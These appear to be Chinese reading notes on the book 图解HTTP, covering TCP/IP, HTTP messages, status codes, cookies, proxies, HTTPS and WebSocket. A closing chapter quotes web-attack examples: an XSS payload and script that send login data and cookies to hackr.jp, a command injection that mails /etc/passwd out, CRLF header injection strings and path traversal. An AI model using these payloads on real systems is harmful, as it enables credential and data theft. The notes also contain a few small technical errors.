《图解HTTP》读书笔记

第1章 了解 Web 及网络基础

HTTP（HyperText Transfer Protocol，超文转移协议，超文本传输协议的译法并不严谨。）

1.1 使用 HTTP 协议访问 Web

略

1.2 HTTP 的诞生

略

1.3 网络基础 TCP/IP

1.3.1 TCP/IP 协议族

TCP/IP 是互联网相关的各类协议族的总称。从电缆的规格到IP地址的选定方法、寻找异地用户的方法、双方建立通信的顺序，以及Web页面显示需要处理的步骤，等等。

1.3.2 TCP/IP 的分层管理

TCP/IP 协议族按层次分别分为以下 4 层：应用层、传输层、网络层和数据链路层。

分层的优点：把各层之间的接口部分规划好之后，每个层次内部的设计就能够自由改动了。而且，层次化之后，设计也变得相对简单。处于应用层上的应用可以只考虑分派给自己的任务，而无需弄清对方在地球上哪个地方、对方的传输路线、是否能确保传输送达等问题。

• 应用层：决定了向用户提供应用服务时通信的活动。
  TCP/IP 协议族预存了各类通用的应用服务。如 FTP（File Transfer Protocol）、DNS（Domain Name System）和 HTTP。
• 传输层：该层对上层应用层，提供处于网络连接中的两台计算机之间的数据传输。TCP（Transmission Control Protocol）和 UDP（User Data Protocol，用户数据报协议）。
• 网络层：网络层用来处理在网络上流动的数据包。数据包是网络传输的最小数据单位。该层规定了通过怎么样的路径到达对方计算机，并把数据包传送给对方。
• 链路层：用来处理网络的硬件部分。

1.3.3 TCP/IP 通信传输流

利用 TCP/IP 协议族进行网络通信时，会通过分层顺序与对方进行通信。发送端从应用层往下走，接收端则往应用层往上走。

用HTTP 举例来说：首先作为发送端的客户端在应用层（HTTP协议）发出一个HTTP请求。
接着，在传输层（TCP协议）把从应用层处收到的数据（HTTP请求报文）进行分隔，并在各个报文上打上标记序号及端口号后转发给网络层。
在网络层（IP协议），增加作为通信目的地的MAC地址后转发给链路层。这就让发往网络的通信请求准备齐全了。
接收端的服务器在链路层接收到数据后，按序往上层发送，一直到应用层。当传输到应用层，才能算真正接收到客户端发送过来的HTTP请求。

发送端在层与层之间传输数据时，每经过一层时必定会被打上一个该层所属的首部信息。反之，接收端在层与层传输数据时，每经过一层时会把对应的首部消去。
把数据信息包装起来的做法称为封装。

1.4 与HTTP关系密切的协议：IP、TCP和DNS

1.4.1 负责传输的 IP 协议

IP（网际协议）位于网络层。该协议的作用是把各种数据包传送给对方。而要保证确实传送到对方那里，则需要满足各类条件。其中最重要的两个条件是 IP 地址和 MAC地址。

IP 地址指明了节点被分配到的地址，MAC地址是指网卡所属的固定地址。IP地址可以和MAC地址进行配对。

使用ARP协议凭借MAC地址进行通信

IP间通信通信依赖MAC地址。通信的双方通常会经过多台计算机和网络设备中转才能连接到对方，而在进行中转时，会利用下一站中转设备的MAC地址来搜索下一个中转目标。这时，会采用ARP协议。该协议是一种用以解析地址的协议，根据通信方的IP地址就可以反查出对应的MAC地址。

1.4.2 确保可靠性的TCP协议

TCP属于传输层，提供可靠的字节流服务。

字节流服务是指：为了方便传输，将大块数据分割成以报文段为单位的数据包进行管理。
这就是为什么下载高清大图时，图片会一块一块地加载。

三次握手
为了准确无误地将数据送达目标处，TCP协议在发送数据的准备阶段采用了三次握手策略（若在握手过程中某个阶段中断，TCP协议会再次以相同的顺序发送相同的数据包）。

当然，除了三次握手，TCP还有其它各种手段确保通信的可靠性。

1.5 负责域名解析的 DNS 服务

DNS服务提供域名到 IP 地址之间的解析服务。

1.6 各种协议与 HTTP 协议的关系

1.7 URI 和 URL

1.7.1 统一资源标识符

URI（uniform Resource Identifier）
Uniform：规定统一的格式可方便处理多种不同类型的资源。
Resource：可标识的任何东西
Identifier：标识符

URI就是某个协议方案表示的资源的定位标识符。协议方案是指访问资源所使用的协议类型名称，如http、ftp。

URI 用字符串标识某一个互联网资源，而URL表示资源的地点。URL是URI的子集。

1.7.2 URI 格式

表示指定的URI，要使用涵盖全部必要信息的绝对URI、绝对URL以及相对URL。相对URL是指从浏览器中基本URI处指定的URL，如 /image/logo.gif。

绝对URI的格式如下：

第2章 简单的HTTP协议

2.1 HTTP 协议用于客户端和服务器端之间的通信

应用 HTTP 协议时，必定是一端担任客户端角色，另一端担任服务器端角色

2.2 通过请求和响应的交换达成通信

HTTP协议规定，先从客户端开始建立通信，服务端在没有接收到请求之前不会发送响应。

请求报文由请求方法、请求URI、协议版本、可选的请求首部字段和内容实体构成的。

响应报文基本上由协议版本、状态码、用以解释状态码的原因短语、可选的响应首部字段以及实体主体构成。

2.3 HTTP是不保存状态的协议

HTTP是无状态协议。自身不对请求和响应之间通信状态进行保存（即不做持久化处理）。

HTTP之所以设计得如此简单，是为了更快地处理大量事物，确保协议的可伸缩性。

HTTP/1.1 随时无状态协议，但可通过 Cookie 技术保存状态。

2.4 请求 URI 定位资源

略

2.5 告知服务器意图的HTTP方法

• GET：获取资源
• POST：传输实体主体
• PUT：传输文件
• HEAD：获得报文首部，与GET方法一样，只是不返回报文主体内容。用于确认URI的有效性及资源更新的日期时间等。
• DELETE：删除文件，与PUT相反（响应返回204 No Content）。
• OPTIONS：询问支持的方法，查询针对请求URI指定的资源支持的方法（Allow:GET、POST、HEAD、OPTIONS）。
• TRACE：追踪路径
• CONNECT：要求用隧道协议连接代理（主要使用SSL（Secure Sockets Layer，安全套接层）和TLS（Transport Layer Security，传输层安全）协议把通信内容加密后经网络隧道传输）。

2.6 使用方法下达命令

2.7 持久连接节省通信量

HTTP协议的初始版本中，每进行一次HTTP通信就要断开一次TCP连接。

发送请求一份包含多张图片的HTML文档对应的Web页面，会产生大量通信开销。

2.7.1 持久连接

为了解决上述TCP连接的问题，HTTP/1.1和一部分的HTTP/1.0想出了持久连接（HTTP Persistent Connections，也称为HTTP keep-alive 或 HTTP Connection resue）的方法。
持久连接的特点是，只要任意一端没有明确提出断开连接，则保持TCP连接状态。

持久连接的好处在于减少了TCP连接的重复建立和断开所造成的额外开销，减轻了服务器端的负载。另外，减少开销的那部分时间，使HTTP请求和响应能够更早地结束，这样Web页面的显示速度也相应提高了。

在HTTP/1.1中，所有连接默认都是持久连接，但在HTTP/1.0内并未标准化。
毫无疑问，除了服务器端，客户端也需要支持持久连接。

2.7.2 管线化

持久连接使得多数请求以管线化方式发送成为可能。以前发送请求后需等待并收到响应，才能发送下一个请求。管线化技术出现后，不用等待响应亦可直接发送下一个请求（并行发送多个请求）。

每个浏览器支持的请求并发数不同，但可在页面中使用多个域名加大并发量（因为浏览器是基于domain的并发控制，而不是page），不过过多的散布会导致DNS解析上付出额外的代价。

2.8 使用Cookie的状态管理

HTTP 是无状态协议，它不对之前发生过的请求和响应的状态进行管理。也就是说，无法根据之前的状态进行本次的请求处理。

Cookie技术通过在请求和响应报文中写入cookie信息来控制客户端的状态。

Cookie会根据从服务器端发送的响应报文内的一个叫做 Set-Cookie 的首部字段信息，通知客户端保存 Cookie。当下次客户端再往该服务器发送请求时，客户端会自动在请求报文中加入Cookie值后发送出去。

• 没有 Cookie 信息状态下的请求
  

• 第 2 次以后（存有 Cookie 信息状态）的请求
  

1. 请求报文（没有 Cookie 信息的状态）

   GET /reader/ HTTP/1.1
   Host: hackr.jp
   *首部字段内没有Cookie的相关信息
   

2. 响应报文（服务器端生成 Cookie 信息）

   HTTP/1.1 200 OK
   Date: Thu, 12 Jul 2012 07:12:20 GMT
   Server: Apache
   ＜Set-Cookie: sid=1342077140226724; path=/; expires=Wed,
   10-Oct-12 07:12:20 GMT＞
   Content-Type: text/plain; charset=UTF-8
   

3. 请求报文（自动发送保存着的 Cookie 信息）

   GET /image/ HTTP/1.1
   Host: hackr.jp
   Cookie: sid=1342077140226724
   

第3章 HTTP报文内的HTTP信息

3.1 HTTP 报文

用于HTTP协议交互的信息被称为HTTP报文。请求端的HTTP报文叫做请求报文，响应端的叫做响应报文。HTTP报文本身是由多行（用CR+LF做换行符）数据构成的字符串文本。

HTTP报文大致可分为报文首部和报文主体两部块。两者由最初出现的空行（CR+LF、回车符+换行符）来划分。通常，并不一定要有报文主体。

3.2 请求报文及响应报文的结构

3.3 编码提升传输速率

HTTP在传输数据时可以按照数据原貌直接传输，但也可以在传输过程中通过编码提升传输速率，但这会消耗更多的CPU等资源。

3.3.1 报文主体和实体主体的差异

报文：是HTTP通信中的基本单位，由8位组字节流组成，通过HTTP通信传输。
实体：作为请求或响应的有效载荷数据（补充项）被传输，其内容由实体首部和实体主体组成。

HTTP报文的主体用于传输请求或响应的实体主体。
通常，报文主体等于实体主体。只有当传输中进行编码操作时，实体主体的内容发生变化，才导致它和报文主体产生差异。

3.3.2 压缩传输的内容编码

内容编码指明应用在实体内容上的编码格式，并保持实体信息原样压缩。内容编码后的实体由客户端接收并负责解码。

常见的内容编码有：gzip（GNU zip）、compress（UNIX系统的标准压缩）、deflate（zlib）、identity（不进行编码）

3.3.3 分隔发送的分块传输编码

在HTTP通信过程中，请求的编码实体资源尚未全部传输完成之前，浏览器无法显示请求页面。在传输大容量数据时，通过把数据分割成多块，能够让浏览器逐步显示页面。

这种把实体主体分块的功能称为分块传输编码（Chunked Transfer Coding）。

分块传输编码会将实体主体分成多个部分（块）。每一块都会用十六进制来标记块的大小，而实体主体的最后一块会使用“0（CR+LF）”来标记。

使用分块传输编码的实体主体会由接收的客户端负责解码，恢复到编码前的实体主体。

3.4 发送多种数据的多部分对象集合

HTTP协议中采纳了多部分对象集合，发送的一份报文主体内可含有多类型实体。通常实在图片或文本文件等上传时使用。

3.5 获取部分内容的范围请求

下载大尺寸的图片的过程中，如果网络中断，则需要重新下载。因此需要一种可恢复的机制。

实现该功能需要指定下载的实体范围，像这样，指定范围发送的请求叫做范围请求。

执行范围请求时，会用到首部字段Range来指定资源的byte范围。响应会返回状态码206 Partial Content。

如果服务器端无法响应范围请求，则会返回状态码200 OK和完整的实体内容。

3.6 内容协商返回最合适的内容

内容协商机制是指客户端和服务器端就响应的资源内容进行交涉，然后提供给客户端最为适合的资源。内容协商会以响应资源的语言、字符集、编码方式等作为判断的基准。

第4章 返回结果的HTTP状态码

4.1 状态码告知从服务器端返回的请求结果

状态码的职责是当客户端向服务器端发送请求时，描述返回的请求结果。

状态码如200 OK，以3为数字和原因短语组成。

数字中的第一位定义了响应类别，后两位无分类。响应类别有以下五种：

	类别	原因短语
1XX	Informational(信息性状态码)	接收的请求正在处理
2XX	Success（成功状态码）	请求正常处理完毕
3XX	Redirection（重定向状态码）	需要进行附加操作以完成请求
4XX	Client Error（客户端错误状态码）	服务器无法处理请求
5XX	Server Error（服务器错误状态码）	服务器处理请求出错

4.2 2XX 成功

• 200 OK：请求被正常处理
  

• 204 No Content：一般在只需从客户端往服务器发送信息，而对客户端不需要发送新信息内容的情况下使用。
  

• 206 Partial Content：客户端进行范围请求
  

4.3 3XX 重定向

• 301 Moved Permanently：永久重定向。表示请求的资源已被分配了新的URI，以后应使用资源现在所指的URI。
  也就是说，如果已经把资源对应的URI保存为书签了，这时应该按Location首部字段提示的URI重新保存。
  

• 302 Found：临时性重定向。表示请求的资源已被分配了新的URI，希望用户（本次）能使用新的URI访问。
  和301 Moved Permanently状态码相似，但302状态码代表的资源不是被永久移动，只是临时性质的。换句话说，已移动的资源对应的URI将来还有可能发生改变。比如，用户把URI保存成书签，但不会像301状态码出现时那样去更新书签，而是仍旧保留返回302状态码的页面对应的URI。
  

• 303 See Other：表示由于请求对应的资源存在着另一个URI，应使用GET方法定向获取请求的资源。这与302类似，但303明确表示客户端应当采用GET方法获取资源。
  

• 304 Not Modified：该状态码表示客户端发送附带条件的请求（指采用GET方法的请求报文中包含If-Match,If-Modified-Since，If-None-March，If-Range，If-Unmodified-Since中任一首部。）时，服务器端允许请求访问资源，但因发生请求为满足条件的情况后，直接返回304（服务器端资源未改变，可直接使用客户端未过期的缓存）。304状态码返回时，不包含任何响应的主体部分。

304虽被划分在3XX类别，但是和重定向没有关系。

• 307 Temporary Redirect：临时重定向。与302有相同含义。307遵守浏览器标准，不会从POST变成GET。

就算是304，也需要发出请求与接收响应，也会耗费资源和时间。

4.4 4XX 客户端错误

4XX的响应结果表明客户端是发生错误的原因所在。

• 400 Bad Request：表示请求报文中存在语法错误。
  

• 401 Unauthorized：表示发送的请求需要有通过HTTP认证（BASIC认证、DIGEST认证）的认证信息。
  

• 403 Forbidden：表明对请求资源的访问被服务器拒绝了。服务器端可在实体的主体部分对原因进行描述（可选）
  

• 404 Not Found：表明服务器上无法找到请求的资源。除此之外，也可以在服务器端拒绝请求且不想说明理由时时用。
  

4.5 5XX 服务器错误

5XX的响应结果表明服务器本身发生错误。

• 500 Interval Server Error：表明服务器端在执行请求时发生了错误。也有可能是Web应用存在的bug或某些临时的故障。
  

• 503 Service Unavailable：表明服务器暂时处于超负载或正在进行停机维护，现在无法处理请求。如果事先得知解除以上状况需要的时间，最好写入Retry-After首部字段再返回给客户端。
  

第五章 与HTTP协作的Web服务器

5.1 用单台虚拟主机实现多个域名

HTTP/1.1 规范允许一台HTTP服务器搭建多个Web站点。这是利用虚拟主机（Virtual Host，又称虚拟服务器）的功能。

在互联网上，域名通过DNS服务映射到IP地址之后访问目标网站。可见，当请求发送到服务器时，已经是以IP地址形式访问了。所以，当一台托管了两个域名的服务器接收到请求时就需要弄清楚究竟要访问哪个域名。
在相同的IP地址下，由于虚拟主机可以寄存多个不同主机名和域名的Web网站，因此在发送HTTP请求时，必须在Host首部内完整指定主机名或域名的URI。

5.2 通信数据转发程序：代理、网关、隧道

HTTP通信时，除客户端和服务器以外，还有一些用于通信数据转发的应用程序，例如代理、网关、隧道。它们可以配合服务器工作。

• 代理：是一种有转发功能的应用程序，扮演了位于服务器和客户端“中间人”的角色，接收由客户端发送的请求并转发给服务器，同时也接收服务器返回的响应并转发给客户端。
• 网关：是转发其他服务器通信数据的服务器，接收从客户端发送来的请求时，它就像自己拥有资源的源服务器一样对请求进行处理。
• 隧道：是在相隔甚远的客户端和服务器两者之间进行中转，并保持双方通信连接的应用程序。

5.2.1 代理

代理不改变请求URI，会直接发送给前方持有资源的目标服务器。
持有资源实体的服务器被称为源服务器。

例如：

每次通过代理服务器转发请求或响应式，会追加写入via首部信息。

使用代理服务器的理由有：利用缓存技术减少网络带宽的流量，组织内部针对特定网站的访问控制，以获取访问日志为主要目的，等等。

代理有多种使用方法，按两种基准分类。一种是是否是否使用缓存，另一种是是否会修改报文。

• 代理缓存：代理转发响应时，缓存代理（Caching Proxy）会预先将资源的副本（缓存）保存在代理服务器上。当代理再次接收到对相同资源的请求时，就可以不从源服务器那里获取资源，而是将之前缓存的资源作为响应返回。
• 透明代理：转发请求或响应时，不对报文做任何加工的代理类型被称为透明代理（Transparent Proxy）。反之，对报文内容进行加工的代理被称为非透明代理。

5.2.2 网关

网关的工作机制和代理十分相似。而网关能使通信线路上的服务器提供非HTTP协议服务。

利用网关能提高通信的安全性，因为可以在客户端与网关之间的通信线路上加密以确保连接的安全。比如，网关可以连接数据库，使用SQL语句查询数据。另外，在Web购物网站上进行信用卡结算时，网关可以和信用卡结算系统联动。

5.2.3 隧道

隧道可按要求建立起一条与其他服务器的通信线路，届时使用SSL等加密手段进行通信。隧道的目的是确保客户端与服务器进行安全的通信。

隧道本身不会去解析HTTP请求。请求保持原样中转给之后的服务器。隧道会在通信双方断开连接时结束。

5.3 保存资源的缓存

缓存是指代理服务器或客户端本地磁盘内保存的资源副本。利用缓存可减少对源服务器的访问，节省通信流量和时间。

缓存服务器是代理服务器的一种。当代理转发从服务器返回的响应时，代理服务器将会保存一份资源的副本。

缓存服务器的优势在于利用缓存可避免多次从源服务器转发资源。因此客户端可就近从缓存服务器上获取资源，而源服务器也不必多次处理相同的请求了。

5.3.1 缓存的有效期限

对于缓存服务器和客户端浏览器，当判定缓存过期或客户端要求，会向源服务器确认资源的有效性。若失效，浏览器会再次请求新资源。

5.3.2 客户端的缓存

缓存不仅可以存在于缓存服务器内，还可以存在客户端浏览器中。以Internet Explorer 程序为例，把客户端缓存称为临时网络文件（Temporary Internet File）。

浏览器缓存失效，会再次请求新资源。

第6章 HTTP首部

略

path：用来指定cookie被发送到服务器的哪一个目录路径下（即被服务器哪个路径接收cookie），其中"/"指的是站点根目录，可在同一台服务器（即使有多个应用）内共享该cookie。

第7章 确保Web安全的HTTPS

7.1 HTTP的缺点

• 通信使用明文可能会被窃听
• 不验证通信方的身份就可能遭受伪装
• 无法验证报文完整性，可能已遭篡改

7.2 HTTP+加密+认证+完整性保护 = HTTPS

第8章 确认访问用户身份的认证

8.1 何为认证

核对的信息通常是指以下这些：

• 密码：只有本人才会知道的字符串信息
• 动态令牌：仅限本人持有的设备内显示的一次性密码
• 数字证书：仅限本人（终端）持有的信息
• 生物认证：指纹和虹膜等本人的生理信息
• IC卡等：仅限本人持有的信息

HTTP/1.1 使用的认证方式如下所示：

• BASIC认证（基本认证）
• DIGEST 认证（摘要认证）
• SSL 客户端认证
• FormBase认证（基于表单认证）

8.2 BASIC 认证

8.3 DIGEST 认证

因为发送给对方的只是响应摘要及由质询码产生的计算结果，所以比起 BASIC 认证，密码泄露的可能性就降低了。

8.4 SSL 客户端认证

步骤 1： 接收到需要认证资源的请求，服务器会发送 Certificate Request 报文，要求客户端提供客户端证书。

步骤 2： 用户选择将发送的客户端证书后，客户端会把客户端证书信息以 Client Certificate 报文方式发送给服务器。

步骤 3： 服务器验证客户端证书验证通过后方可领取证书内客户端的公开密钥，然后开始 HTTPS 加密通信。

8.5 基于表单认证

基于表单的认证方法并不是在 HTTP 协议中定义的。客户端会向服务器上的 Web 应用程序发送登录信息（Credential），按登录信息的验证结果认证。

8.5.1 认证多半为基于表单认证

由于使用上的便利性及安全性问题，HTTP 协议标准提供的 BASIC 认证和 DIGEST 认证几乎不怎么使用。另外，SSL 客户端认证虽然具有高度的安全等级，但因为导入及维持费用等问题，还尚未普及。认证多半为基于表单认证。

8.5.2 Session 管理及 Cookie 应用

鉴于 HTTP 是无状态协议，之前已认证成功的用户状态无法通过协议层面保存下来。即，无法实现状态管理，因此即使当该用户下一次继续访问，也无法区分他与其他的用户。于是我们会使用 Cookie 来
管理 Session，以弥补 HTTP 协议中不存在的状态管理功能。

为减轻跨站脚本攻击（XSS）造成的损失，建议事先在 Cookie 内加上 httponly 属性。

第9章 基于HTTP的功能追加协议

9.1 基于 HTTP 的协议

略

9.2 消除 HTTP 瓶颈的 SPDY

9.2.1 HTTP的瓶颈

使用HTTP协议探知服务器上是否有内容更新，就必须频繁地从客户端到服务器端进行确认。如果服务器上没有内容更新，那么就会产生徒劳的通信。

若想在现有Web实现所需的功能，一下这些HTTP标准就会成为瓶颈：

• 一条连接上只可发送一个请求
• 请求只能从客户端开始。客户端不可以接收除响应以外的指令
• 请求/响应首部未经压缩就发送。首部信息越多延迟越大
• 发送冗长的首部。每次互相发送相同的首部造成的浪费较多
• 可任意选择数据压缩格式。非强制压缩发送

图：以前的 HTTP 通信

Ajax 的解决方法

从已加载完毕的 Web 页面上发起请求，只更新局部页面。

而利用 Ajax 实时地从服务器获取内容，有可能会导致大量请求产生。另外，Ajax 仍未解决 HTTP 协议本身存在的问题。

Comet 的解决方法

通常，服务器接收到请求，在处理完毕后就立即返回响应，但为了实现推送功能，Comet会先将响应置于挂起状态，当服务器端有内容更新时，再返回该响应。
内容上虽然可以做到实时更新，但为了保留响应，一次连接的持续时间也变长了。期间，为了维持连接会消耗更多的资源。另外，Comet仍未解决HTTP协议的本身存在的问题。

SPDY 的目标
陆续出现的 Ajax 和 Comet 等提高易用性的技术，一定程度上使 HTTP 得到了改善，但 HTTP 协议本身的限制也令人有些束手无策。为了进行根本性的改善，需要有一些协议层面上的改动。

9.2.2 SPDY 的设计与功能

SPDY没有完全改写HTTP协议，而是在TCP/IP的应用层与运输层之间通过新加会话层的形式运作。同时，考虑到安全性问题，SPDY规定通信中使用SSL。

SPDY以会话层的形式加入，控制对数据的流动，但还是采用HTTP建立通信连接。因此，可照常使用HTTP的GET和POST等方法、Cookie以及HTTP报文等。

使用 SPDY后，HTTP协议额外获得以下功能。

• 多路复用流：通过单一的TCP连接，可以无限制处理多个HTTP请求。所有请求的处理都在一条TCP连接上完成，因此TCP的处理效率得到提高。
• 赋予请求优先级：SPDY不仅可以无限制地并发处理请求，还可以给请求逐个分配优先级顺序。这样主要是为了在发送多个请求时，解决因带宽低而导致响应变慢的问题。
• 压缩HTTP首部：压缩HTTP请求和响应的首部。
• 推送功能：支持服务器主动向客户端推送数据的功能。
• 服务器提示功能：服务器可以主动提示客户端请求所需的资源。由于在客户端发现资源之前就可以获知资源的存在，因此在资源已缓存等情况下，可以避免发送不必要的请求。

9.2.3 SPDY 消除 Web 瓶颈了吗

因为 SPDY 基本上只是将单个域名（ IP 地址）的通信多路复用，所以当一个 Web 网站上使用多个域名下的资源，改善效果就会受到限制。

9.3 使用浏览器进行全双工通信的 WebSocket

利用Ajax和Comet技术进行通信可以提升Web的浏览速度。但问题在于通信若使用HTTP协议，就无法彻底解决瓶颈问题。

WebSocket技术主要是为了解决Ajax和Comet里XMLHttpRequst附带的缺陷所引起的问题。

一旦Web服务器与客户端之间建立起WebSocket协议的通信连接，之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON、XML、HTML或图片等任意格式的数据。

WebSocket的主要特点：

• 推送功能：支持由服务器向客户端推送数据。
• 减少通信量：和HTTP相比，不但每次连接时的总开销减少，而且由于WebSocket的首部信息很小，通信量也相应较少。

为了实现WebSocket通信，在HTTP连接建立之后，需要完成一次“握手”的步骤。

• 握手·请求：为了实现WebSocket通信，需要用到HTTP的Upgrade首部字段，告知服务器通信协议发生改变，以达到握手的目的。

  GET /chat HTTP/1.1
  Host: server.example.com
  Upgrade: websocket
  Connection: Upgrade
  Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
  Origin: http://example.com
  Sec-WebSocket-Protocol: chat, superchat
  Sec-WebSocket-Version: 13
  

• 握手·响应：对于之前的请求，返回状态码101 Switching Protocols 的响应。

  HTTP/1.1 101 Switching Protocols
  Upgrade: websocket
  Connection: Upgrade
  Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
  Sec-WebSocket-Protocol: chat
  

成功握手确立WebSocket连接后，通信时不再使用HTTP的数据帧，而采用WebSocket独立的数据帧。

由于是建立在HTTP基础上的协议，因此连接的发起方仍是客户端，而一旦确立WebSocket通信连接，不论服务器端还是客户端，任意一方都可直接向对方发送报文。

9.4 期盼已久的 HTTP/2.0

[HTTP2中英对照版][17]
[HTTP/2.0 相比1.0有哪些重大改进？][18]

第10章　构建 Web 内容的技术

略

第11章 Web攻击技术

11.1 针对 Web 的攻击技术

简单的HTTP协议本身并不存在安全性问题，因此协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端，以及运行在服务器上的Web应用等资源才是攻击目标。

11.1.1 HTTP 不具备必要的安全功能

就拿远程登录时会用到的SSH协议来说，SSH具备协议级别的认证及会话管理等功能，HTTP协议则没有。另外在架设SSH服务方面，任何人都可以轻易地创建安全等级高的服务。而HTTP即使已假设好服务器，但开发者需要自行设计并开发认证及会话管理功能来满足Web应用的安全。而自行设计就意味着会出现各种形形色色的实现，可仍在运作的Web应用背后就会隐藏着各种容易被攻击者滥用的安全漏洞的Bug。

11.1.2 在客户端即可篡改请求

11.1.3 针对 Web 应用的攻击模式

对 Web 应用的攻击模式有以下两种。

• 主动攻击
• 被动攻击

以服务器为目标的主动攻击

主动攻击（active attack）是指攻击者通过直接访问 Web 应用，把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击，因此攻击者需要能够访问到那些资源。

主动攻击模式里具有代表性的攻击是 SQL 注入攻击和 OS 命令注入攻击。

以服务器为目标的被动攻击

被动攻击（passive attack）是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中，攻击者不直接对目标 Web 应用访问发起攻击。

利用被动攻击，可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。只要用户踏入攻击者预先设好的陷阱，在用户能够访问到的网络范围内，即使是企业内网也同样会受到攻击。

11.2 因输出值转义不完全引发的安全漏洞

11.2.1 跨站脚本攻击

跨站脚本攻击（Cross-Site Scripting, XSS）是指在用户浏览器内运行了非法的 HTML 标签或 JavaScript 脚本。如果不过滤用户输入的数据直接显示用户输入的HTML内容的话，就会有可能运行恶意的 JavaScript 脚本，导致页面结构错乱，Cookies 信息被窃取等问题。

跨站脚本攻击案例(1)：在动态生成 HTML 处发生

此时的确认界面上，浏览器会把用户输入的 <s> 解析成 HTML 标签，然后显示删除线。

跨站脚本攻击案例(2)：XSS 是攻击者利用预先设置的陷阱触发的被动攻击

跨站脚本攻击属于被动攻击模式，攻击者会事先布置好用于攻击的陷阱。

下图网站通过地址栏中 URI 的查询字段指定 ID，即相当于在表单内自动填写字符串的功能。而就在这个地方，隐藏着可执行跨站脚本攻击的漏洞。

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s=" 

浏览器打开该 URI 后，直观感觉没有发生任何变化，但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后，就会直接发送到攻击者的网站（也就是 hackr.jp），导致个人登录信息被窃取。

跨站脚本攻击案例(3)：对用户 Cookie 的窃取攻击

恶意构造的脚本同样能够以跨站脚本攻击的方式，窃取到用户的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用JavaScript 编写的代码。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

11.2.2 SQL 注入攻击

SQL注入攻击（SQL Injection）是指针对 Web 应用使用的数据库，通过运行非法的SQL而产生的攻击。

SQL 注入攻击案例

正常处理的操作示例

SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;

该 SQL 语句表示“从 bookTbl 表中，显示满足 author= 上野宣 and flag=1（可售）所在行的数据”。

SQL 注入攻击的操作示例

把刚才指定查询字段的上野宣改写成“上野宣’–”。

SQL 语句中的 – 之后全视为注释。即，and flag=1 这个条件被自动忽略了。

11.2.3 OS 命令注入攻击

OS命令攻击（OS Command Injection）是指通过 Web 应用，执行非法的操作系统命令达到攻击的目的。 只要在能调用 Shell 函数的地方就有存在被攻击的风险。

OS 注入攻击案例

下面摘选处理该表单内容的一部分核心代码。

my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";

程序中的 open 函数会调用 sendmail 命令发送邮件，而指定的邮件发送地址即 $adr 的值。

攻击者将下面的值指定作为邮件地址。

; cat /etc/passwd | mail hack@example.jp

程序接收该值，构成以下的命令组合。

| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp

结果，含有Linux 账户信息 /etc/passwd 的文件，就以邮件形式发送给了hack@example.jp。

11.2.4 HTTP 首部注入攻击

HTTP首部注入攻击（HTTP Header Injection）是指攻击者通过在响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。属于被动攻击模式。

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345

HTTP 首部注入攻击案例

攻击者以下面的内容替代之前的类别 ID 后发送请求。

101%0D%0ASet-Cookie:+SID=123456789

其中，%0D%0A 代表 HTTP 报文中的换行符，紧接着的是可强制将攻击者网站（http://hackr.jp/）的会话 ID 设置成SID=123456789 的 Set-Cookie 首部字段。

发送该请求之后，假设结果返回以下响应。

Location: http://example.com/?cat=101（%0D%0A ：换行符）
Set-Cookie: SID=123456789

此刻，首部字段 Set-Cookie 已生效，因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击（攻击者可使用指定的会话 ID）攻击组合，攻击者可伪装成用户。

攻击者输入的 %0D%0A，原本应该属于首部字段 Location 的查询值部分，但经过解析后，%0D%0A 变成了换行符，结果插入了新的首部字段。

这样一来，攻击者可在响应中插入任意的首部字段。

HTTP 响应截断攻击

HTTP 响应截断攻击：是用在 HTTP 首部注入的一种攻击。攻击顺序相同，但是要将两个 %0D%0A%0D%0A 并排插入字符串后 发送。利用两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了，这样 就能显示伪造的主体，达到攻击的目的。

Set-Cookie: UID=（%0D%0A ：换行符）
（%0D%0A ：换行符）
<HTML><HEAD><TITLE>之后，想要显示的网页内容 <!--（原来页面对应的首部字段和主体部分全视为注释）

11.2.5 邮件首部注入攻击

邮件首部注入攻击（Mail Header Injection）是指 Web 应用中的邮件发送功能，攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站，可对任意邮件地址发送广告邮件或病毒邮件。

攻击者将以下数据作为邮件地址发起请求。

bob@hackr.jp%0D%0ABcc: user@example.com

%0D%0A 在邮件报文中代表换行符。一旦咨询表单所在的 Web应用接收了这个换行符，就可能实现对 Bcc 邮件地址的追加发送。

另外，使用两个连续的换行符就有可能篡改邮件文本内容并发送。

bob@hackr.jp%0D%0A%0D%0ATest Message

11.2.6 目录遍历攻击

目录遍历攻击（Directory Traversal）是指对本无意公开的文件目录，通过非法截断其目录路径后，达成访问目的的一种攻击。比如，通过 …/ 等相对路径定位到 /etc/passwd 等绝对路径上。

该功能通过以下查询字段，指定某个文件名。然后从 /www/log/ 文件目录下读取这个指定的文件。

http://example.com/read.php?log=0401.log

攻击者设置如下查询字段后发出请求。

http://example.com/read.php?log=../../etc/passwd

11.2.7 远程文件包含漏洞

远程文件包含漏洞（Remote File Inclusion）是指当部分脚本内容需要从其他文件读入时，攻击者利用指定外部服务器的URL充当依赖文件，让脚本读取之后，就可运行任意脚本的一种攻击。

11.3 因设置或设计上的缺陷引发的安全漏洞

11.3.1 强制浏览

强制浏览（Forced Browsing）是指，从安置在Web服务器的公开目录下的文件中，浏览那些原本非自愿公开的文件。比如，没有对那些需要保护的静态资源增加权限控制。

强制浏览导致安全漏洞的案例

